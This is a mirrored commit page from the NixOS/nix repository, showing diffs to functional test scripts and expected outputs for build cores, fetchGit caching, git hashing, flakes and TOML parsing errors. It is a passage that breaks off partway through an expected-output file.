1
1
Fork 0
mirror of https://github.com/NixOS/nix.git synced 2025-11-29 13:41:00 +01:00

Merge remote-tracking branch 'origin/master' into gdennis/git-filter-config

This commit is contained in:
Graham Dennis 2025-09-15 10:43:05 +10:00
commit 9bba7ac3e8
887 changed files with 34455 additions and 28681 deletions

View file

@ -0,0 +1,11 @@
with import ./config.nix;
{
# Test derivation that checks the NIX_BUILD_CORES environment variable
testCores = mkDerivation {
name = "test-build-cores";
buildCommand = ''
echo "$NIX_BUILD_CORES" > $out
'';
};
}

32
tests/functional/build-cores.sh Executable file
View file

@ -0,0 +1,32 @@
#!/usr/bin/env bash
source common.sh
clearStoreIfPossible
echo "Testing build-cores configuration behavior..."
# Test 1: When build-cores is set to a non-zero value, NIX_BUILD_CORES should have that value
echo "Testing build-cores=4..."
rm -f "$TEST_ROOT"/build-cores-output
nix-build --cores 4 build-cores.nix -A testCores -o "$TEST_ROOT"/build-cores-output
result=$(cat "$(readlink "$TEST_ROOT"/build-cores-output)")
if [[ "$result" != "4" ]]; then
echo "FAIL: Expected NIX_BUILD_CORES=4, got $result"
exit 1
fi
echo "PASS: build-cores=4 correctly sets NIX_BUILD_CORES=4"
rm -f "$TEST_ROOT"/build-cores-output
# Test 2: When build-cores is set to 0, NIX_BUILD_CORES should be resolved to getDefaultCores()
echo "Testing build-cores=0..."
nix-build --cores 0 build-cores.nix -A testCores -o "$TEST_ROOT"/build-cores-output
result=$(cat "$(readlink "$TEST_ROOT"/build-cores-output)")
if [[ "$result" == "0" ]]; then
echo "FAIL: NIX_BUILD_CORES should not be 0 when build-cores=0"
exit 1
fi
echo "PASS: build-cores=0 resolves to NIX_BUILD_CORES=$result (should be > 0)"
rm -f "$TEST_ROOT"/build-cores-output
echo "All build-cores tests passed!"

View file

@ -5,9 +5,9 @@ configure_file(
)
suites += {
'name': 'ca',
'deps': [],
'tests': [
'name' : 'ca',
'deps' : [],
'tests' : [
'build-cache.sh',
'build-with-garbage-path.sh',
'build.sh',
@ -30,5 +30,5 @@ suites += {
'substitute.sh',
'why-depends.sh',
],
'workdir': meson.current_source_dir(),
'workdir' : meson.current_source_dir(),
}

View file

@ -52,10 +52,10 @@ test_custom_build_dir() {
nix-build check.nix -A failed --argstr checkBuildId "$checkBuildId" \
--no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> "$TEST_ROOT/log" || status=$?
[ "$status" = "100" ]
[[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
local buildDir=("$customBuildDir/nix-build-"*)
[[ 1 == "$(count "$customBuildDir/nix-"*)" ]]
local buildDir=("$customBuildDir/nix-"*)
if [[ "${#buildDir[@]}" -ne 1 ]]; then
echo "expected one nix-build-* directory, got: ${buildDir[*]}" >&2
echo "expected one nix-* directory, got: ${buildDir[*]}" >&2
exit 1
fi
if [[ -e ${buildDir[*]}/build ]]; then

View file

@ -9,4 +9,4 @@ expected=100
if [[ -v NIX_DAEMON_PACKAGE ]]; then expected=1; fi # work around the daemon not returning a 100 status correctly
expectStderr "$expected" nix-build ./text-hashed-output.nix -A failingWrapper --no-out-link \
| grepQuiet "build of '.*use-dynamic-drv-in-non-dynamic-drv-wrong.drv' failed"
| grepQuiet "build of resolved derivation '.*use-dynamic-drv-in-non-dynamic-drv-wrong.drv' failed"

View file

@ -5,9 +5,9 @@ configure_file(
)
suites += {
'name': 'dyn-drv',
'deps': [],
'tests': [
'name' : 'dyn-drv',
'deps' : [],
'tests' : [
'text-hashed-output.sh',
'recursive-mod-json.sh',
'build-built-drv.sh',
@ -17,5 +17,5 @@ suites += {
'old-daemon-error-hack.sh',
'dep-built-drv-2.sh',
],
'workdir': meson.current_source_dir(),
'workdir' : meson.current_source_dir(),
}

View file

@ -53,6 +53,27 @@ rm -rf $TEST_HOME/.cache/nix
path=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).outPath")
[[ $(cat $path/hello) = world ]]
# Fetch again. This should be cached.
# NOTE: This has to be done before the test case below which tries to pack-refs
# the reason being that the lookup on the cache uses the ref-file `/refs/heads/master`
# which does not exist after packing.
mv $repo ${repo}-tmp
path2=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).outPath")
[[ $path = $path2 ]]
[[ $(nix eval --impure --expr "(builtins.fetchGit file://$repo).revCount") = 2 ]]
[[ $(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).rev") = $rev2 ]]
[[ $(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).shortRev") = ${rev2:0:7} ]]
# Fetching with a explicit hash should succeed.
path2=$(nix eval --refresh --raw --expr "(builtins.fetchGit { url = file://$repo; rev = \"$rev2\"; }).outPath")
[[ $path = $path2 ]]
path2=$(nix eval --refresh --raw --expr "(builtins.fetchGit { url = file://$repo; rev = \"$rev1\"; }).outPath")
[[ $(cat $path2/hello) = utrecht ]]
mv ${repo}-tmp $repo
# Fetch when the cache has packed-refs
# Regression test of #8822
git -C $TEST_HOME/.cache/nix/gitv3/*/ pack-refs --all
@ -83,24 +104,6 @@ path2=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$repo; rev = \"
# But without a hash, it fails.
expectStderr 1 nix eval --expr 'builtins.fetchGit "file:///foo"' | grepQuiet "'fetchGit' doesn't fetch unlocked input"
# Fetch again. This should be cached.
mv $repo ${repo}-tmp
path2=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).outPath")
[[ $path = $path2 ]]
[[ $(nix eval --impure --expr "(builtins.fetchGit file://$repo).revCount") = 2 ]]
[[ $(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).rev") = $rev2 ]]
[[ $(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).shortRev") = ${rev2:0:7} ]]
# Fetching with a explicit hash should succeed.
path2=$(nix eval --refresh --raw --expr "(builtins.fetchGit { url = file://$repo; rev = \"$rev2\"; }).outPath")
[[ $path = $path2 ]]
path2=$(nix eval --refresh --raw --expr "(builtins.fetchGit { url = file://$repo; rev = \"$rev1\"; }).outPath")
[[ $(cat $path2/hello) = utrecht ]]
mv ${repo}-tmp $repo
# Using a clean working tree should produce the same result.
path2=$(nix eval --impure --raw --expr "(builtins.fetchGit $repo).outPath")
[[ $path = $path2 ]]
@ -233,10 +236,10 @@ path9=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$rep
# Specifying a ref without a rev shouldn't pick a cached rev for a different ref
export _NIX_FORCE_HTTP=1
rev_tag1_nix=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repo\"; ref = \"refs/tags/tag1\"; }).rev")
rev_tag1=$(git -C $repo rev-parse refs/tags/tag1)
rev_tag1=$(git -C $repo rev-parse refs/tags/tag1^{commit})
[[ $rev_tag1_nix = $rev_tag1 ]]
rev_tag2_nix=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repo\"; ref = \"refs/tags/tag2\"; }).rev")
rev_tag2=$(git -C $repo rev-parse refs/tags/tag2)
rev_tag2=$(git -C $repo rev-parse refs/tags/tag2^{commit})
[[ $rev_tag2_nix = $rev_tag2 ]]
unset _NIX_FORCE_HTTP

View file

@ -67,6 +67,7 @@ valid_ref 'foo./bar'
valid_ref 'heads/foo@bar'
valid_ref "$(printf 'heads/fu\303\237')"
valid_ref 'foo-bar-baz'
valid_ref 'branch#'
valid_ref '$1'
valid_ref 'foo.locke'
@ -97,6 +98,7 @@ invalid_ref 'heads/v@{ation'
invalid_ref 'heads/foo\.ar' # should fail due to \
invalid_ref 'heads/foo\bar' # should fail due to \
invalid_ref "$(printf 'heads/foo\t')" # should fail because it has a TAB
invalid_ref "$(printf 'heads/foo\37')"
invalid_ref "$(printf 'heads/foo\177')"
invalid_ref '@'

View file

@ -88,3 +88,8 @@ requireDaemonNewerThan "2.20"
expected=100
if [[ -v NIX_DAEMON_PACKAGE ]]; then expected=1; fi # work around the daemon not returning a 100 status correctly
expectStderr $expected nix-build --expr '{ url }: builtins.derivation { name = "nix-cache-info"; system = "x86_64-linux"; builder = "builtin:fetchurl"; inherit url; outputHashMode = "flat"; }' --argstr url "file://$narxz" 2>&1 | grep 'must be a fixed-output or impure derivation'
requireDaemonNewerThan "2.32.0pre20250831"
expect 1 nix-build --expr 'import <nix/fetchurl.nix>' --argstr name 'name' --argstr url "file://authority.not.allowed/fetchurl.sh?a=1&a=2" --no-out-link |&
grepQuiet "error: file:// URL 'file://authority.not.allowed/fetchurl.sh?a=1&a=2' has unexpected authority 'authority.not.allowed'"

View file

@ -74,5 +74,10 @@ rec {
nar-not-recursive = f2 "foo" ./fixed.builder2.sh "nar" "md5" "3670af73070fa14077ad74e0f5ea4e42";
# Experimental feature
git = f2 "foo" ./fixed.builder2.sh "git" "sha1" "cd44baf36915d5dec8374232ea7e2057f3b4494e";
git-sha1 = f2 "foo" ./fixed.builder2.sh "git" "sha1" "cd44baf36915d5dec8374232ea7e2057f3b4494e";
git-sha256 =
f2 "foo" ./fixed.builder2.sh "git" "sha256"
"3c957653f90c34c0a8badf343b61393936cddf4a2ca93f64b21f02303ddedcc2";
}

View file

@ -135,3 +135,35 @@ EOF
checkRes=$(nix flake check --all-systems $flakeDir 2>&1 && fail "nix flake check --all-systems should have failed" || true)
echo "$checkRes" | grepQuiet "formatter.system-1"
# Test whether `nix flake check` builds checks.
cat > $flakeDir/flake.nix <<EOF
{
outputs = { self }: {
checks.$system.foo = with import ./config.nix; mkDerivation {
name = "simple";
buildCommand = "mkdir \$out";
};
};
}
EOF
cp "${config_nix}" "$flakeDir/"
expectStderr 0 nix flake check "$flakeDir" | grepQuiet 'running 1 flake check'
cat > $flakeDir/flake.nix <<EOF
{
outputs = { self }: {
checks.$system.foo = with import ./config.nix; mkDerivation {
name = "simple";
buildCommand = "false";
};
};
}
EOF
# FIXME: error code 100 doesn't get propagated from the daemon.
if !isTestOnNixOS && $NIX_REMOTE != daemon; then
expectStderr 100 nix flake check "$flakeDir" | grepQuiet 'builder failed with exit code 1'
fi

View file

@ -432,3 +432,71 @@ nix flake metadata "$flake2Dir" --reference-lock-file $TEST_ROOT/flake2-overridd
# reference-lock-file can only be used if allow-dirty is set.
expectStderr 1 nix flake metadata "$flake2Dir" --no-allow-dirty --reference-lock-file $TEST_ROOT/flake2-overridden.lock
# After changing an input (flake2 from newFlake2Rev to prevFlake2Rev), we should have the transitive inputs locked by revision $prevFlake2Rev of flake2.
prevFlake1Rev=$(nix flake metadata --json "$flake1Dir" | jq -r .revision)
prevFlake2Rev=$(nix flake metadata --json "$flake2Dir" | jq -r .revision)
echo "# bla" >> "$flake1Dir/flake.nix"
git -C "$flake1Dir" commit flake.nix -m 'bla'
nix flake update --flake "$flake2Dir"
git -C "$flake2Dir" commit flake.lock -m 'bla'
newFlake1Rev=$(nix flake metadata --json "$flake1Dir" | jq -r .revision)
newFlake2Rev=$(nix flake metadata --json "$flake2Dir" | jq -r .revision)
cat > "$flake3Dir/flake.nix" <<EOF
{
inputs.flake2.url = "flake:flake2/master/$newFlake2Rev";
outputs = { self, flake2 }: {
};
}
EOF
git -C "$flake3Dir" commit flake.nix -m 'bla'
rm "$flake3Dir/flake.lock"
nix flake lock "$flake3Dir"
[[ "$(nix flake metadata --json "$flake3Dir" | jq -r .locks.nodes.flake1.locked.rev)" = $newFlake1Rev ]]
cat > "$flake3Dir/flake.nix" <<EOF
{
inputs.flake2.url = "flake:flake2/master/$prevFlake2Rev";
outputs = { self, flake2 }: {
};
}
EOF
[[ "$(nix flake metadata --json "$flake3Dir" | jq -r .locks.nodes.flake1.locked.rev)" = $prevFlake1Rev ]]
baseDir=$TEST_ROOT/$RANDOM
subdirFlakeDir1=$baseDir/foo1
mkdir -p "$subdirFlakeDir1"
writeSimpleFlake "$baseDir"
cat > "$subdirFlakeDir1"/flake.nix <<EOF
{
outputs = inputs: {
shouldBeOne = 1;
};
}
EOF
nix registry add --registry "$registry" flake2 "path:$baseDir?dir=foo1"
[[ "$(nix eval --flake-registry "$registry" flake2#shouldBeOne)" = 1 ]]
subdirFlakeDir2=$baseDir/foo2
mkdir -p "$subdirFlakeDir2"
cat > "$subdirFlakeDir2"/flake.nix <<EOF
{
inputs.foo1.url = "path:$baseDir?dir=foo1";
outputs = inputs: { };
}
EOF
# Regression test for https://github.com/NixOS/nix/issues/13918
[[ "$(nix eval --inputs-from "$subdirFlakeDir2" foo1#shouldBeOne)" = 1 ]]

View file

@ -1,7 +1,7 @@
suites += {
'name': 'flakes',
'deps': [],
'tests': [
'name' : 'flakes',
'deps' : [],
'tests' : [
'flakes.sh',
'develop.sh',
'edit.sh',
@ -35,5 +35,5 @@ suites += {
'old-lockfiles.sh',
'trace-ifd.sh',
],
'workdir': meson.current_source_dir(),
'workdir' : meson.current_source_dir(),
}

View file

@ -41,11 +41,13 @@ nix run -f shell-hello.nix env > $TEST_ROOT/actual-env
# - we unset TMPDIR on macOS if it contains /var/folders. bad. https://github.com/NixOS/nix/issues/7731
# - _ is set by bash and is expected to differ because it contains the original command
# - __CF_USER_TEXT_ENCODING is set by macOS and is beyond our control
# - __LLVM_PROFILE_RT_INIT_ONCE - implementation detail of LLVM source code coverage collection
sed -i \
-e 's/PATH=.*/PATH=.../' \
-e 's/_=.*/_=.../' \
-e '/^TMPDIR=\/var\/folders\/.*/d' \
-e '/^__CF_USER_TEXT_ENCODING=.*$/d' \
-e '/^__LLVM_PROFILE_RT_INIT_ONCE=.*$/d' \
$TEST_ROOT/expected-env $TEST_ROOT/actual-env
sort $TEST_ROOT/expected-env | uniq > $TEST_ROOT/expected-env.sorted
# nix run appears to clear _. I don't understand why. Is this ok?

View file

@ -1,3 +1,5 @@
# shellcheck shell=bash
source ../common.sh
TODO_NixOS # Need to enable git hashing feature and make sure test is ok for store we don't clear

View file

@ -5,4 +5,8 @@ source common.sh
# Store layer needs bugfix
requireDaemonNewerThan "2.27pre20250122"
nix-build ../fixed.nix -A git --no-out-link
nix-build ../fixed.nix -A git-sha1 --no-out-link
if isDaemonNewer "2.31pre20250724"; then
nix-build ../fixed.nix -A git-sha256 --no-out-link
fi

View file

@ -1,9 +1,10 @@
suites += {
'name': 'git-hashing',
'deps': [],
'tests': [
'simple.sh',
'name' : 'git-hashing',
'deps' : [],
'tests' : [
'simple-sha1.sh',
'simple-sha256.sh',
'fixed.sh',
],
'workdir': meson.current_source_dir(),
'workdir' : meson.current_source_dir(),
}

View file

@ -0,0 +1,96 @@
# shellcheck shell=bash
source common.sh
# Assert is set
[[ ${hashAlgo+x} ]]
repo="$TEST_ROOT/scratch"
initRepo () {
git init "$repo" --object-format="$hashAlgo"
git -C "$repo" config user.email "you@example.com"
git -C "$repo" config user.name "Your Name"
}
# Compare Nix's and git's implementation of git hashing
try () {
local expected="$1"
local hash
hash=$(nix hash path --mode git --format base16 --algo "$hashAlgo" "$TEST_ROOT/hash-path")
[[ "$hash" == "$expected" ]]
git -C "$repo" rm -rf hash-path || true
cp -r "$TEST_ROOT/hash-path" "$repo/hash-path"
git -C "$repo" add hash-path
git -C "$repo" commit -m "x"
git -C "$repo" status
local hash2
hash2=$(git -C "$repo" rev-parse HEAD:hash-path)
[[ "$hash2" = "$expected" ]]
}
# Check Nix added object has matching git hash
try2 () {
local hashPath="$1"
local expected="$2"
local path
path=$(nix store add --mode git --hash-algo "$hashAlgo" "$repo/$hashPath")
git -C "$repo" add "$hashPath"
git -C "$repo" commit -m "x"
git -C "$repo" status
local hashFromGit
hashFromGit=$(git -C "$repo" rev-parse "HEAD:$hashPath")
[[ "$hashFromGit" == "$expected" ]]
local caFromNix
caFromNix=$(nix path-info --json "$path" | jq -r ".[] | .ca")
[[ "fixed:git:$hashAlgo:$(nix hash convert --to nix32 "$hashAlgo:$hashFromGit")" = "$caFromNix" ]]
}
test0 () {
rm -rf "$TEST_ROOT/hash-path"
echo "Hello World" > "$TEST_ROOT/hash-path"
}
test1 () {
rm -rf "$TEST_ROOT/hash-path"
mkdir "$TEST_ROOT/hash-path"
echo "Hello World" > "$TEST_ROOT/hash-path/hello"
echo "Run Hello World" > "$TEST_ROOT/hash-path/executable"
chmod +x "$TEST_ROOT/hash-path/executable"
}
test2 () {
rm -rf "$repo/dummy1"
echo Hello World! > "$repo/dummy1"
}
test3 () {
rm -rf "$repo/dummy2"
mkdir -p "$repo/dummy2"
echo Hello World! > "$repo/dummy2/hello"
}
test4 () {
rm -rf "$repo/dummy3"
mkdir -p "$repo/dummy3"
mkdir -p "$repo/dummy3/dir"
touch "$repo/dummy3/dir/file"
echo Hello World! > "$repo/dummy3/dir/file"
touch "$repo/dummy3/dir/executable"
chmod +x "$repo/dummy3/dir/executable"
echo Run Hello World! > "$repo/dummy3/dir/executable"
}
test5 () {
rm -rf "$repo/dummy4"
mkdir -p "$repo/dummy4"
mkdir -p "$repo/dummy4/dir"
touch "$repo/dummy4/dir/file"
ln -s './hello/world.txt' "$repo/dummy4/dir/symlink"
}

View file

@ -0,0 +1,27 @@
#!/usr/bin/env bash
hashAlgo=sha1
source simple-common.sh
initRepo
# blob
test0
try "557db03de997c86a4a028e1ebd3a1ceb225be238"
# tree with children
test1
try "e5c0a11a556801a5c9dcf330ca9d7e2c572697f4"
test2
try2 dummy1 "980a0d5f19a64b4b30a87d4206aade58726b60e3"
test3
try2 dummy2 "8b8e43b937854f4083ea56777821abda2799e850"
test4
try2 dummy3 "f227adfaf60d2778aabbf93df6dd061272d2dc85"
test5
try2 dummy4 "06f3e789820fc488d602358f03e3a1cbf993bf33"

View file

@ -0,0 +1,29 @@
#!/usr/bin/env bash
hashAlgo=sha256
source simple-common.sh
requireDaemonNewerThan 2.31pre20250724
initRepo
# blob
test0
try "7c5c8610459154bdde4984be72c48fb5d9c1c4ac793a6b5976fe38fd1b0b1284"
# tree with children
test1
try "cd79952f42462467d0ea574b0283bb6eb77e15b2b86891e29f2b981650365474"
test2
try2 dummy1 "f5b5cec05fb6f9302b507a48c1573e6f36075e954d97caa8667f784e9cdb0d13"
test3
try2 dummy2 "399d851c74ceac2c2b61b53b13dcf5e88df3b6135c7df1f248a323c3c2f9aa78"
test4
try2 dummy3 "d3ae8fc87e76b9b871bd06a58c925c5fb5f83b5393f9f58e4f6dba3f59470289"
test5
try2 dummy4 "8c090dd057e8e01ffe1fec24a3133dfe52ba4eda822e67ee7fefc2af7c6a2906"

View file

@ -1,79 +0,0 @@
#!/usr/bin/env bash
source common.sh
repo="$TEST_ROOT/scratch"
git init "$repo"
git -C "$repo" config user.email "you@example.com"
git -C "$repo" config user.name "Your Name"
# Compare Nix's and git's implementation of git hashing
try () {
local hash=$(nix hash path --mode git --format base16 --algo sha1 $TEST_ROOT/hash-path)
[[ "$hash" == "$1" ]]
git -C "$repo" rm -rf hash-path || true
cp -r "$TEST_ROOT/hash-path" "$TEST_ROOT/scratch/hash-path"
git -C "$repo" add hash-path
git -C "$repo" commit -m "x"
git -C "$repo" status
local hash2=$(git -C "$TEST_ROOT/scratch" rev-parse HEAD:hash-path)
[[ "$hash2" = "$1" ]]
}
# blob
rm -rf $TEST_ROOT/hash-path
echo "Hello World" > $TEST_ROOT/hash-path
try "557db03de997c86a4a028e1ebd3a1ceb225be238"
# tree with children
rm -rf $TEST_ROOT/hash-path
mkdir $TEST_ROOT/hash-path
echo "Hello World" > $TEST_ROOT/hash-path/hello
echo "Run Hello World" > $TEST_ROOT/hash-path/executable
chmod +x $TEST_ROOT/hash-path/executable
try "e5c0a11a556801a5c9dcf330ca9d7e2c572697f4"
# Check Nix added object has matching git hash
try2 () {
local hashPath="$1"
local expected="$2"
local path=$(nix store add --mode git --hash-algo sha1 "$repo/$hashPath")
git -C "$repo" add "$hashPath"
git -C "$repo" commit -m "x"
git -C "$repo" status
local hashFromGit=$(git -C "$repo" rev-parse "HEAD:$hashPath")
[[ "$hashFromGit" == "$2" ]]
local caFromNix=$(nix path-info --json "$path" | jq -r ".[] | .ca")
[[ "fixed:git:sha1:$(nix hash convert --to nix32 "sha1:$hashFromGit")" = "$caFromNix" ]]
}
rm -rf "$repo/dummy1"
echo Hello World! > "$repo/dummy1"
try2 dummy1 "980a0d5f19a64b4b30a87d4206aade58726b60e3"
rm -rf "$repo/dummy2"
mkdir -p "$repo/dummy2"
echo Hello World! > "$repo/dummy2/hello"
try2 dummy2 "8b8e43b937854f4083ea56777821abda2799e850"
rm -rf "$repo/dummy3"
mkdir -p "$repo/dummy3"
mkdir -p "$repo/dummy3/dir"
touch "$repo/dummy3/dir/file"
echo Hello World! > "$repo/dummy3/dir/file"
touch "$repo/dummy3/dir/executable"
chmod +x "$repo/dummy3/dir/executable"
echo Run Hello World! > "$repo/dummy3/dir/executable"
try2 dummy3 "f227adfaf60d2778aabbf93df6dd061272d2dc85"
rm -rf "$repo/dummy4"
mkdir -p "$repo/dummy4"
mkdir -p "$repo/dummy4/dir"
touch "$repo/dummy4/dir/file"
ln -s './hello/world.txt' "$repo/dummy4/dir/symlink"
try2 dummy4 "06f3e789820fc488d602358f03e3a1cbf993bf33"

View file

@ -0,0 +1,6 @@
suites += {
'name' : 'git',
'deps' : [],
'tests' : [ 'packed-refs-no-cache.sh' ],
'workdir' : meson.current_source_dir(),
}

View file

@ -0,0 +1,81 @@
#!/usr/bin/env bash
# Please see https://github.com/NixOS/nix/issues/13457
# for a higher description of the purpose of the test.
# tl;dr;fetchGit will utilize the git cache and avoid refetching when possible.
# It relies on the presence of either the commit when rev is provided
# or checks if the ref refs/heads/<ref_name> if ref is provided.
#
# Unfortunately, git can occasionally "pack references" which moves the references
# from individual files to a single unifies file.
# When this occurs, nix can no longer check for the presence of the ref to check
# for the mtime and will refetch unnecessarily.
source ../common.sh
requireGit
clearStoreIfPossible
# Intentionally not in a canonical form
# See https://github.com/NixOS/nix/issues/6195
repo=$TEST_ROOT/./git
export _NIX_FORCE_HTTP=1
rm -rf "$repo" "${repo}-tmp" "$TEST_HOME/.cache/nix"
git init --initial-branch="master" "$repo"
git -C "$repo" config user.email "nix-tests@example.com"
git -C "$repo" config user.name "Nix Tests"
echo "hello world" > "$repo/hello_world"
git -C "$repo" add hello_world
git -C "$repo" commit -m 'My first commit.'
# We now do an eval
nix eval --impure --raw --expr "builtins.fetchGit { url = file://$repo; }"
# test that our eval even worked by checking for the presence of the file
[[ $(nix eval --impure --raw --expr "builtins.readFile ((builtins.fetchGit { url = file://$repo; }) + \"/hello_world\")") = 'hello world' ]]
# Validate that refs/heads/master exists
shopt -s nullglob
matches=("$TEST_HOME/.cache/nix/gitv3/*/refs/heads/master")
shopt -u nullglob
if [[ ${#matches[@]} -eq 0 ]]; then
echo "refs/heads/master does not exist."
exit 1
fi
# pack refs
git -C "$TEST_HOME"/.cache/nix/gitv3/*/ pack-refs --all
shopt -s nullglob
matches=("$TEST_HOME"/.cache/nix/gitv3/*/refs/heads/master)
shopt -u nullglob
# ensure refs/heads/master is now gone
if [[ ${#matches[@]} -ne 0 ]]; then
echo "refs/heads/master still exists after pack-refs"
exit 1
fi
# create a new commit
echo "hello again" > "$repo/hello_again"
git -C "$repo" add hello_again
git -C "$repo" commit -m 'Second commit.'
# re-eval — this should return the path to the cached version
store_path=$(nix eval --tarball-ttl 3600 --impure --raw --expr "(builtins.fetchGit { url = file://$repo; }).outPath")
echo "Fetched store path: $store_path"
# Validate that the new file is *not* there
# FIXME: This is a broken test case and we should swap the assertion here.
if [[ -e "$store_path/hello_again" ]]; then
echo "ERROR: Cached fetchGit should not include the new commit."
exit 0
else
echo "PASS: New commit was not fetched due to caching (as expected)."
exit 1
fi

View file

@ -0,0 +1,13 @@
error:
… while calling the 'fromTOML' builtin
at /pwd/lang/eval-fail-fromTOML-overflow.nix:1:1:
1| builtins.fromTOML ''attr = 9223372036854775808''
| ^
2|
error: while parsing TOML: [error] toml::parse_dec_integer: too large integer: current max digits = 2^63
--> fromTOML
|
1 | attr = 9223372036854775808
| ^-- must be < 2^63

View file

@ -0,0 +1 @@
builtins.fromTOML ''attr = 9223372036854775808''

View file

@ -0,0 +1,13 @@
error:
… while calling the 'fromTOML' builtin
at /pwd/lang/eval-fail-fromTOML-underflow.nix:1:1:
1| builtins.fromTOML ''attr = -9223372036854775809''
| ^
2|
error: while parsing TOML: [error] toml::parse_dec_integer: too large integer: current max digits = 2^63
--> fromTOML
|
1 | attr = -9223372036854775809
| ^-- must be < 2^63

View file

@ -0,0 +1 @@
builtins.fromTOML ''attr = -9223372036854775809''

View file

@ -0,0 +1,12 @@
error:
… from call site
at /pwd/lang/eval-fail-missing-arg-import.nix:1:1:
1| import ./non-eval-trivial-lambda-formals.nix { }
| ^
2|
error: function 'anonymous lambda' called without required argument 'a'
at /pwd/lang/non-eval-trivial-lambda-formals.nix:1:1:
1| { a }: a
| ^
2|

View file

@ -0,0 +1 @@
import ./non-eval-trivial-lambda-formals.nix { }

View file

@ -0,0 +1,13 @@
error:
… from call site
at /pwd/lang/eval-fail-undeclared-arg-import.nix:1:1:
1| import ./non-eval-trivial-lambda-formals.nix {
| ^
2| a = "a";
error: function 'anonymous lambda' called with unexpected argument 'b'
at /pwd/lang/non-eval-trivial-lambda-formals.nix:1:1:
1| { a }: a
| ^
2|
Did you mean a?

View file

@ -0,0 +1,4 @@
import ./non-eval-trivial-lambda-formals.nix {
a = "a";
b = "b";
}

View file

@ -2,16 +2,15 @@ with import ./lib.nix;
let
attrs =
{
y = "y";
x = "x";
foo = "foo";
}
// rec {
x = "newx";
bar = x;
};
attrs = {
y = "y";
x = "x";
foo = "foo";
}
// rec {
x = "newx";
bar = x;
};
names = builtins.attrNames attrs;

View file

@ -1,15 +1,14 @@
let {
as =
{
x = 123;
y = 456;
}
// {
z = 789;
}
// {
z = 987;
};
as = {
x = 123;
y = 456;
}
// {
z = 789;
}
// {
z = 987;
};
body =
if as ? a then

View file

@ -1,15 +1,14 @@
let {
as =
{
x = 123;
y = 456;
}
// {
z = 789;
}
// {
z = 987;
};
as = {
x = 123;
y = 456;
}
// {
z = 789;
}
// {
z = 987;
};
A = "a";
Z = "z";

View file

@ -1 +1 @@
{ "1234" = "value"; "127.0.0.1" = "value"; a = { b = { c = { }; }; }; arr1 = [ 1 2 3 ]; arr2 = [ "red" "yellow" "green" ]; arr3 = [ [ 1 2 ] [ 3 4 5 ] ]; arr4 = [ "all" "strings" "are the same" "type" ]; arr5 = [ [ 1 2 ] [ "a" "b" "c" ] ]; arr7 = [ 1 2 3 ]; arr8 = [ 1 2 ]; bare-key = "value"; bare_key = "value"; bin1 = 214; bool1 = true; bool2 = false; "character encoding" = "value"; d = { e = { f = { }; }; }; dog = { "tater.man" = { type = { name = "pug"; }; }; }; flt1 = 1; flt2 = 3.1415; flt3 = -0.01; flt4 = 5e+22; flt5 = 1e+06; flt6 = -0.02; flt7 = 6.626e-34; flt8 = 9.22462e+06; fruit = [ { name = "apple"; physical = { color = "red"; shape = "round"; }; variety = [ { name = "red delicious"; } { name = "granny smith"; } ]; } { name = "banana"; variety = [ { name = "plantain"; } ]; } ]; g = { h = { i = { }; }; }; hex1 = 3735928559; hex2 = 3735928559; hex3 = 3735928559; int1 = 99; int2 = 42; int3 = 0; int4 = -17; int5 = 1000; int6 = 5349221; int7 = 12345; j = { "ʞ" = { l = { }; }; }; key = "value"; key2 = "value"; ld1 = { _type = "timestamp"; value = "1979-05-27"; }; ldt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00"; }; ldt2 = { _type = "timestamp"; value = "1979-05-27T00:32:00.999999"; }; lt1 = { _type = "timestamp"; value = "07:32:00"; }; lt2 = { _type = "timestamp"; value = "00:32:00.999999"; }; name = "Orange"; oct1 = 342391; oct2 = 493; odt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; odt2 = { _type = "timestamp"; value = "1979-05-27T00:32:00-07:00"; }; odt3 = { _type = "timestamp"; value = "1979-05-27T00:32:00.999999-07:00"; }; odt4 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; physical = { color = "orange"; shape = "round"; }; products = [ { name = "Hammer"; sku = 738594937; } { } { color = "gray"; name = "Nail"; sku = 284758393; } ]; "quoted \"value\"" = "value"; site = { "google.com" = true; }; str = "I'm a string. \"You can quote me\". Name\tJosé\nLocation\tSF."; table-1 = { key1 = "some string"; key2 = 123; }; table-2 = { key1 = "another string"; key2 = 456; }; x = { y = { z = { w = { animal = { type = { name = "pug"; }; }; name = { first = "Tom"; last = "Preston-Werner"; }; point = { x = 1; y = 2; }; }; }; }; }; "ʎǝʞ" = "value"; }
{ "1234" = "value"; "127.0.0.1" = "value"; a = { b = { c = { }; }; }; arr1 = [ 1 2 3 ]; arr2 = [ "red" "yellow" "green" ]; arr3 = [ [ 1 2 ] [ 3 4 5 ] ]; arr4 = [ "all" "strings" "are the same" "type" ]; arr5 = [ [ 1 2 ] [ "a" "b" "c" ] ]; arr7 = [ 1 2 3 ]; arr8 = [ 1 2 ]; bare-key = "value"; bare_key = "value"; bin1 = 214; bool1 = true; bool2 = false; "character encoding" = "value"; d = { e = { f = { }; }; }; dog = { "tater.man" = { type = { name = "pug"; }; }; }; flt1 = 1; flt2 = 3.1415; flt3 = -0.01; flt4 = 5e+22; flt5 = 1e+06; flt6 = -0.02; flt7 = 6.626e-34; flt8 = 9.22462e+06; fruit = [ { name = "apple"; physical = { color = "red"; shape = "round"; }; variety = [ { name = "red delicious"; } { name = "granny smith"; } ]; } { name = "banana"; variety = [ { name = "plantain"; } ]; } ]; g = { h = { i = { }; }; }; hex1 = 3735928559; hex2 = 3735928559; hex3 = 3735928559; int1 = 99; int2 = 42; int3 = 0; int4 = -17; int5 = 1000; int6 = 5349221; int7 = 12345; j = { "ʞ" = { l = { }; }; }; key = "value"; key2 = "value"; ld1 = { _type = "timestamp"; value = "1979-05-27"; }; ldt1 = { _type = "timestamp"; value = 